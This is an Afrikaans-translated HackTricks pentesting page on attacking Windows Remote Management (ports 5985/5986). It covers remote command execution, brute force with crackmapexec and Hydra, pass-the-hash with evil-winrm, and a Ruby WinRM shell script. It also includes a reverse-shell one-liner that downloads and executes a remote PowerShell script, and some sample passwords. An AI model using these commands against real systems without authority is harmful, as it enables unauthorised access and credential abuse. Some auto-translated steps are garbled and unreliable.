hacktricks/network-services-pentesting/5985-5986-pentesting-winrm.md
2024-02-11 02:07:06 +00:00

19 KiB
Raw Blame History

5985,5986 - Pentesting WinRM

Leer AWS-hacking van nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun:

Sluit aan by die HackenProof Discord bediener om te kommunikeer met ervare hackers en foutjagters!

Hacking-insigte
Raak betrokke by inhoud wat die opwinding en uitdagings van hacking ondersoek

Real-Time Hack News
Bly op hoogte van die vinnige wêreld van hacking deur middel van real-time nuus en insigte

Nuutste aankondigings
Bly ingelig met die nuutste foutjagbounties wat begin en belangrike platform-opdaterings

Sluit aan by ons op Discord en begin vandag saamwerk met top hackers!

WinRM

Windows Remote Management (WinRM) word uitgelig as 'n protokol deur Microsoft wat die afstandsbestuur van Windows-stelsels deur middel van HTTP(S) moontlik maak, met behulp van SOAP in die proses. Dit word fundamenteel aangedryf deur WMI en bied 'n HTTP-gebaseerde koppelvlak vir WMI-operasies.

Die teenwoordigheid van WinRM op 'n masjien maak dit moontlik vir eenvoudige afstandsadministrasie via PowerShell, soortgelyk aan hoe SSH werk vir ander bedryfstelsels. Om vas te stel of WinRM operasioneel is, word aanbeveel om te kyk of spesifieke poorte oopgemaak is:

  • 5985/tcp (HTTP)
  • 5986/tcp (HTTPS)

'n Oop poort van die lys hierbo beteken dat WinRM opgestel is en dus pogings toelaat om 'n afstandsverbinding te begin.

Die begin van 'n WinRM-sessie

Om PowerShell te konfigureer vir WinRM, kom Microsoft se Enable-PSRemoting cmdlet in die prentjie, wat die rekenaar opstel om afstands-PowerShell-opdragte te aanvaar. Met verhoogde toegang tot PowerShell kan die volgende opdragte uitgevoer word om hierdie funksionaliteit in te skakel en enige gasheer as betroubaar aan te dui:

Enable-PSRemoting -Force
Set-Item wsman:\localhost\client\trustedhosts *

Hierdie benadering behels die byvoeging van 'n wildkaart by die trustedhosts-konfigurasie, 'n stap wat versigtige oorweging vereis as gevolg van die implikasies daarvan. Dit word ook opgemerk dat dit moontlik nodig kan wees om die netwerk tipe van "Public" na "Work" te verander op die aanvaller se masjien.

Verder kan WinRM afstandaktivering gebruik deur die wmic-opdrag, soos volg, te demonstreer:

wmic /node:<REMOTE_HOST> process call create "powershell enable-psremoting -force"

Hierdie metode maak dit moontlik om WinRM vanaf 'n afstand op te stel, wat die buigsaamheid in die bestuur van Windows-masjiene verbeter.

Toets of dit gekonfigureer is

Om die opset van jou aanvalsmasjien te verifieer, word die Test-WSMan-opdrag gebruik om te kyk of die teiken WinRM korrek gekonfigureer het. Deur hierdie opdrag uit te voer, kan jy verwag om besonderhede oor die protokolweergawe en wsmid te ontvang, wat suksesvolle konfigurasie aandui. Hieronder is voorbeelde wat die verwagte uitset vir 'n gekonfigureerde teiken teenoor 'n ongekonfigureerde een demonstreer:

  • Vir 'n teiken wat korrek gekonfigureer is, sal die uitset soortgelyk lyk aan die volgende:
Test-WSMan <target-ip>

Die reaksie moet inligting bevat oor die protokolweergawe en wsmid, wat aandui dat WinRM korrek opgestel is.

  • Omgekeerd, vir 'n teiken wat nie vir WinRM opgestel is nie, sal daar geen sulke gedetailleerde inligting wees nie, wat die afwesigheid van 'n korrekte WinRM-opstelling beklemtoon.

Voer 'n bevel uit

Om ipconfig op 'n teikenrekenaar uit te voer en die uitset te sien, doen die volgende:

Invoke-Command -computername computer-name.domain.tld -ScriptBlock {ipconfig /all} [-credential DOMAIN\username]

Jy kan ook 'n bevel van jou huidige PS-konsole uitvoer deur gebruik te maak van Invoke-Command. Stel dat jy plaaslik 'n funksie genaamd enumeration het en jy wil dit op 'n afgeleë rekenaar uitvoer, kan jy dit doen:

Invoke-Command -ComputerName <computername> -ScriptBLock ${function:enumeration} [-ArgumentList "arguments"]

Voer 'n Skrip uit

Om 'n skrip uit te voer op 'n Windows Remote Management (WinRM) diens, kan jy die volgende stappe volg:

  1. Verbind na die doelwitbediener met behulp van 'n WinRM-kliënt soos winrs of Enter-PSSession.
  2. Skep 'n nuwe skripslêer op die doelwitbediener met die gewenste skriptekode.
  3. Voer die skrip uit deur die pad na die skripslêer op te gee, byvoorbeeld .\skripsnaam.ps1.

Dit sal die skrip op die doelwitbediener uitvoer en die resultate terugstuur na jou WinRM-kliënt. Onthou om die nodige toestemmings en regte te hê om skripte op die doelwitbediener uit te voer.

Invoke-Command -ComputerName <computername> -FilePath C:\path\to\script\file [-credential CSCOU\jarrieta]

Kry 'n omgekeerde dop

Om 'n omgekeerde dop te kry, kan jy die volgende stappe volg:

  1. Skep 'n omgekeerde dop-skripsie wat sal hardloop op die doelwitbediener. Hierdie skripsie moet 'n verbinding maak met jou aanvalsmasjien en 'n omgekeerde dop daarop vestig.
  2. Stuur die omgekeerde dop-skripsie na die doelwitbediener. Dit kan gedoen word deur dit te laai op 'n webwerf, dit as 'n e-posbylaag te stuur of dit op 'n ander manier op die doelwitbediener te plaas.
  3. Wanneer die doelwitbediener die omgekeerde dop-skripsie uitvoer, sal dit 'n verbinding maak met jou aanvalsmasjien en 'n omgekeerde dop daarop vestig.
  4. Jy kan nou op afstand die doelwitbediener se stelsel beheer deur die omgekeerde dop te gebruik.

Dit is belangrik om te onthou dat die gebruik van omgekeerde dopskripsies om toegang tot stelsels te verkry sonder toestemming onwettig is en 'n oortreding van die wet kan wees. Dit moet slegs gedoen word in 'n wettige en etiese pentesting-konteks.

Invoke-Command -ComputerName <computername> -ScriptBlock {cmd /c "powershell -ep bypass iex (New-Object Net.WebClient).DownloadString('http://10.10.10.10:8080/ipst.ps1')"}

Kry 'n PS-sessie

Om 'n interaktiewe PowerShell-skaal te kry, gebruik Enter-PSSession:

#If you need to use different creds
$password=ConvertTo-SecureString 'Stud41Password@123' -Asplaintext -force
## Note the ".\" in the suername to indicate it's a local user (host domain)
$creds2=New-Object System.Management.Automation.PSCredential(".\student41", $password)

# Enter
Enter-PSSession -ComputerName dcorp-adminsrv.dollarcorp.moneycorp.local [-Credential username]
## Bypass proxy
Enter-PSSession -ComputerName 1.1.1.1 -Credential $creds -SessionOption (New-PSSessionOption -ProxyAccessType NoProxyServer)
# Save session in var
$sess = New-PSSession -ComputerName 1.1.1.1 -Credential $creds -SessionOption (New-PSSessionOption -ProxyAccessType NoProxyServer)
Enter-PSSession $sess
## Background current PS session
Exit-PSSession # This will leave it in background if it's inside an env var (New-PSSession...)

Die sessie sal in 'n nuwe proses (wsmprovhost) binne die "slagoffer" loop

WinRM Oop Forseer

Om PS Remoting en WinRM te gebruik, maar as die rekenaar nie gekonfigureer is nie, kan jy dit aktiveer met:

.\PsExec.exe \\computername -u domain\username -p password -h -d powershell.exe "enable-psremoting -force"

Stoor en Herstel sessies

Dit sal nie werk as die taal beperk is op die afgeleë rekenaar nie.

#If you need to use different creds
$password=ConvertTo-SecureString 'Stud41Password@123' -Asplaintext -force
## Note the ".\" in the suername to indicate it's a local user (host domain)
$creds2=New-Object System.Management.Automation.PSCredential(".\student41", $password)

#You can save a session inside a variable
$sess1 = New-PSSession -ComputerName <computername> [-SessionOption (New-PSSessionOption -ProxyAccessType NoProxyServer)]
#And restore it at any moment doing
Enter-PSSession -Session $sess1

Binne hierdie sessies kan jy PS-skripte laai deur gebruik te maak van Invoke-Command.

Invoke-Command -FilePath C:\Path\to\script.ps1 -Session $sess1

Foute

As jy die volgende fout vind:

enter-pssession : Verbinding met afgeleë bediener 10.10.10.175 het misluk met die volgende foutboodskap: Die WinRM-kliënt kan nie die versoek verwerk nie. As die verifikasieskema verskil van Kerberos, of as die kliëntrekenaar nie by 'n domein aangesluit is nie, moet HTTPS-vervoer gebruik word of die bestemmingsmasjien moet by die TrustedHosts-konfigurasie-instelling gevoeg word. Gebruik winrm.cmd om TrustedHosts te konfigureer. Let daarop dat rekenaars in die TrustedHosts-lys nie noodwendig geverifieer word nie. Jy kan meer inligting daaroor kry deur die volgende opdrag uit te voer: winrm help config. Vir meer inligting, sien die about_Remote_Troubleshooting Help-onderwerp.

Probeer die volgende op die kliënt (inligting van hier):

winrm quickconfig
winrm set winrm/config/client '@{TrustedHosts="Computer1,Computer2"}'

Sluit aan by die HackenProof Discord bediener om met ervare hackers en foutjagters te kommunikeer!

Hacking-insigte
Raak betrokke by inhoud wat die opwinding en uitdagings van hacking ondersoek

Real-Time Hack Nuus
Bly op hoogte van die vinnige wêreld van hacking deur middel van real-time nuus en insigte

Nuutste aankondigings
Bly ingelig met die nuutste foutjagte wat begin en belangrike platform-opdaterings

Sluit aan by ons op Discord en begin vandag saamwerk met top hackers!

WinRM-verbinding in Linux

Brute Force

Wees versigtig, brute force-aanvalle op WinRM kan gebruikers blokkeer.

#Brute force
crackmapexec winrm <IP> -d <Domain Name> -u usernames.txt -p passwords.txt

#Just check a pair of credentials
# Username + Password + CMD command execution
crackmapexec winrm <IP> -d <Domain Name> -u <username> -p <password> -x "whoami"
# Username + Hash + PS command execution
crackmapexec winrm <IP> -d <Domain Name> -u <username> -H <HASH> -X '$PSVersionTable'
#Crackmapexec won't give you an interactive shell, but it will check if the creds are valid to access winrm

Gebruik van evil-winrm

evil-winrm is 'n nuttige hulpmiddel wat gebruik kan word vir die pentesting van Windows Remote Management (WinRM)-dienste. Hierdie hulpmiddel maak dit moontlik om aan te meld by 'n Windows-masjien en uitvoering van verskeie operasies uit te voer, soos die verkryging van inligting, uitvoering van opdragte en die oplaai van lêers.

Om evil-winrm te gebruik, volg die volgende stappe:

  1. Installeer die evil-winrm-hulpmiddel op jou stelsel.
  2. Voer die volgende opdrag in om aan te meld by die doelwitstelsel: evil-winrm -i <IP-adres> -u <gebruikersnaam> -p <wagwoord>.
  3. As die aanmelding suksesvol is, sal jy 'n interaktiewe skootrekenaar ontvang waar jy opdragte kan uitvoer.
  4. Gebruik die verskillende opdragte om inligting te verkry, lêers op te laai of uit te voer, en ander operasies uit te voer.

Dit is belangrik om te onthou dat die gebruik van evil-winrm slegs toegelaat word op stelsels waarvoor jy die regte toestemming het om dit te doen. Wees verantwoordelik en gebruik hierdie hulpmiddel slegs vir wettige doeleindes.

gem install evil-winrm

Lees die dokumentasie op sy github: https://github.com/Hackplayers/evil-winrm

evil-winrm -u Administrator -p 'EverybodyWantsToWorkAtP.O.O.'  -i <IP>/<Domain>

Om evil-winrm te gebruik om aan te sluit by 'n IPv6-adres, skep 'n inskrywing binne /etc/hosts wat 'n domeinnaam aan die IPv6-adres koppel en maak verbinding met daardie domein.

Gee die has met evil-winrm deur

evil-winrm -u <username> -H <Hash> -i <IP>

Die gebruik van 'n PS-docker masjien

Om WinRM te pentest, kan jy 'n PS-docker masjien gebruik om 'n omgewing te skep waarin jy die tegniek kan toets. Hier is die stappe om dit te doen:

  1. Skep 'n nuwe PS-docker masjien deur die volgende opdrag uit te voer:

    docker run -it --name winrm-test -p 5985:5985 -p 5986:5986 mcr.microsoft.com/windows/servercore:ltsc2019 powershell
    
  2. Maak 'n nuwe PowerShell-sessie met die WinRM-module:

    $session = New-PSSession -ComputerName <target_IP> -Port <target_port> -Credential <credentials>
    
  3. Maak 'n nuwe sessie met die WinRM-module:

    Enter-PSSession -Session $session
    
  4. Jy is nou in 'n interaktiewe PowerShell-sessie op die doelwitbediener. Jy kan verskillende WinRM-opdragte uitvoer om die omgewing te toets en te pentest.

  5. As jy klaar is, kan jy die PS-docker masjien verwyder deur die volgende opdrag uit te voer:

    docker rm winrm-test -f
    

Deur hierdie stappe te volg, kan jy 'n PS-docker masjien gebruik om WinRM te pentest en die veiligheid van die omgewing te evalueer.

docker run -it quickbreach/powershell-ntlm
$creds = Get-Credential
Enter-PSSession -ComputerName 10.10.10.149 -Authentication Negotiate -Credential $creds

Gebruik 'n ruby-skrips

Kode onttrek van hier: https://alamot.github.io/winrm_shell/

require 'winrm-fs'

# Author: Alamot
# To upload a file type: UPLOAD local_path remote_path
# e.g.: PS> UPLOAD myfile.txt C:\temp\myfile.txt
# https://alamot.github.io/winrm_shell/


conn = WinRM::Connection.new(
endpoint: 'https://IP:PORT/wsman',
transport: :ssl,
user: 'username',
password: 'password',
:no_ssl_peer_verification => true
)


class String
def tokenize
self.
split(/\s(?=(?:[^'"]|'[^']*'|"[^"]*")*$)/).
select {|s| not s.empty? }.
map {|s| s.gsub(/(^ +)|( +$)|(^["']+)|(["']+$)/,'')}
end
end


command=""
file_manager = WinRM::FS::FileManager.new(conn)


conn.shell(:powershell) do |shell|
until command == "exit\n" do
output = shell.run("-join($id,'PS ',$(whoami),'@',$env:computername,' ',$((gi $pwd).Name),'> ')")
print(output.output.chomp)
command = gets
if command.start_with?('UPLOAD') then
upload_command = command.tokenize
print("Uploading " + upload_command[1] + " to " + upload_command[2])
file_manager.upload(upload_command[1], upload_command[2]) do |bytes_copied, total_bytes, local_path, remote_path|
puts("#{bytes_copied} bytes of #{total_bytes} bytes copied")
end
command = "echo `nOK`n"
end
output = shell.run(command) do |stdout, stderr|
STDOUT.print(stdout)
STDERR.print(stderr)
end
end
puts("Exiting with code #{output.exitcode}")
end

Shodan

  • port:5985 Microsoft-HTTPAPI

Verwysings

HackTricks Outomatiese Opdragte

Protocol_Name: WinRM    #Protocol Abbreviation if there is one.
Port_Number:  5985     #Comma separated if there is more than one.
Protocol_Description: Windows Remote Managment        #Protocol Abbreviation Spelled out

Entry_1:
Name: Notes
Description: Notes for WinRM
Note: |
Windows Remote Management (WinRM) is a Microsoft protocol that allows remote management of Windows machines over HTTP(S) using SOAP. On the backend it's utilising WMI, so you can think of it as an HTTP based API for WMI.

sudo gem install winrm winrm-fs colorize stringio
git clone https://github.com/Hackplayers/evil-winrm.git
cd evil-winrm
ruby evil-winrm.rb -i 192.168.1.100 -u Administrator -p MySuperSecr3tPass123!

https://kalilinuxtutorials.com/evil-winrm-hacking-pentesting/

ruby evil-winrm.rb -i 10.10.10.169 -u melanie -p 'Welcome123!' -e /root/Desktop/Machines/HTB/Resolute/
^^so you can upload binary's from that directory        or -s to upload scripts (sherlock)
menu
invoke-binary `tab`

#python3
import winrm
s = winrm.Session('windows-host.example.com', auth=('john.smith', 'secret'))
print(s.run_cmd('ipconfig'))
print(s.run_ps('ipconfig'))

https://book.hacktricks.xyz/pentesting/pentesting-winrm

Entry_2:
Name: Hydra Brute Force
Description: Need User
Command: hydra -t 1 -V -f -l {Username} -P {Big_Passwordlist} rdp://{IP}

Sluit aan by die HackenProof Discord bediener om te kommunikeer met ervare hackers en foutbeloningsjagters!

Hacking-insigte
Raak betrokke by inhoud wat die opwinding en uitdagings van hacking ondersoek

Real-Time Hack Nuus
Bly op hoogte van die vinnige wêreld van hacking deur middel van real-time nuus en insigte

Nuutste aankondigings
Bly ingelig met die nuutste foutbelonings wat bekendgestel word en kritieke platform-opdaterings

Sluit aan by ons op Discord en begin vandag saamwerk met top hackers!

Leer AWS hacking van nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun: